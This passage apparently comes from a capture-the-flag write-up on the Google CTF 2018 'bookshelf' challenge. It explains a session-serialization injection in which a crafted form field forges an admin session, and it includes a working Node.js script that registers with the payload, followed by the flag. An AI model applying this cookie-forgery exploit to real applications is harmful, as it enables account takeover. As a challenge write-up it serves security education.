"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
"\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
+  
"\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5"
+  
"\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
'password':
'65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
'id': 'deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'  
}  
```

What interests us is this part  
```  
"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":  
"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
"\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
+  
"\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5"
+  
"\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
```

So we have `4*z`, `5*\u00bd` and `\u0001\u0005\u0000\u0000\u0000`. This helps
us skip 5 magic header bits from the key. Specifically
`\u0001\u00bb\u0000\u0000\u0000`. So everything in the value part gets decoded
as new keys.

name. `\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin` admin
yeah

id.
`\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918`.
sha256('admin')

password.
`\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5`.
sha256('qwerty')

As you have seen before, id is always put last when creating the session
cookie. We have to make the decoder skip it, because it will overwrite our id.
bad.

`\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000`. this does exactly
that. under the key `pl` with a length of `\u00ff\u00ff\u0000\u0000 == 65535`.
It seems that if I tried a length lesser than what was after it, the script
will fail miserably. But anything bigger is cool.

What does it look like after decoding?

```javascript  
// ENCODED_PAYLOAD AFTER DECODING  
{ name: 'admin',  
age: 20,  
desc: 13,  
'zzzz½½½½½': '\u0001\u00bb\u0000\u0000\u0000',  
id:  
'8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918',  
password:  
'65e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5',  
pl:  
'\u0000\u0000\b\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u0000deadbeefb5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918'
}  
```

We're IN! now i just have to register with that payload.

```javascript  
// Requires NodeJs  
// and `npm install axios`  
const axios = require('axios');  
const querystring = require('querystring');

axios({  
method: 'post',  
url: `https://books.web.ctfcompetition.com/user/register`,  
headers: {  
referer: 'https://books.web.ctfcompetition.com/user/register',  
'Content-Type': 'application/x-www-form-urlencoded',  
},  
data: querystring.stringify({  
'name': 'nytr0gen31337',  
'age': 20,  
'desc': 13,  
"zzzz\u00bd\u00bd\u00bd\u00bd\u00bd\u0001\u0005\u0000\u0000\u0000":
"\u0004\u0000\u0000\u0000name\u0001\u0005\u0000\u0000\u0000admin" +  
"\u0002\u0000\u0000\u0000id\u0001@\u0000\u0000\u00008c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
+  
"\u0008\u0000\u0000\u0000password\u0001@\u0000\u0000\u000065e84be33532fb784c48129675f9eff3a682b27168c0ea744b2cf58ee02337c5"
+  
"\u0002\u0000\u0000\u0000pl\u0001\u00ff\u00ff\u0000\u0000",  
'password': 'qwerty',  
}),  
}).then((response) => {  
console.log(response.data);  
}).catch((err) => {  
console.error(err);  
});  
```

login as `nytr0gen31337` and we're finished, go to my books.

```  
CTF{1892b0d8bc93d7e4ca98975f47f8c7d8}  
```

that look like an md5. what's in there?  

Original writeup (https://github.com/nytr0gen/google-ctf-2018-quals-
writeups/tree/master/bookshelf).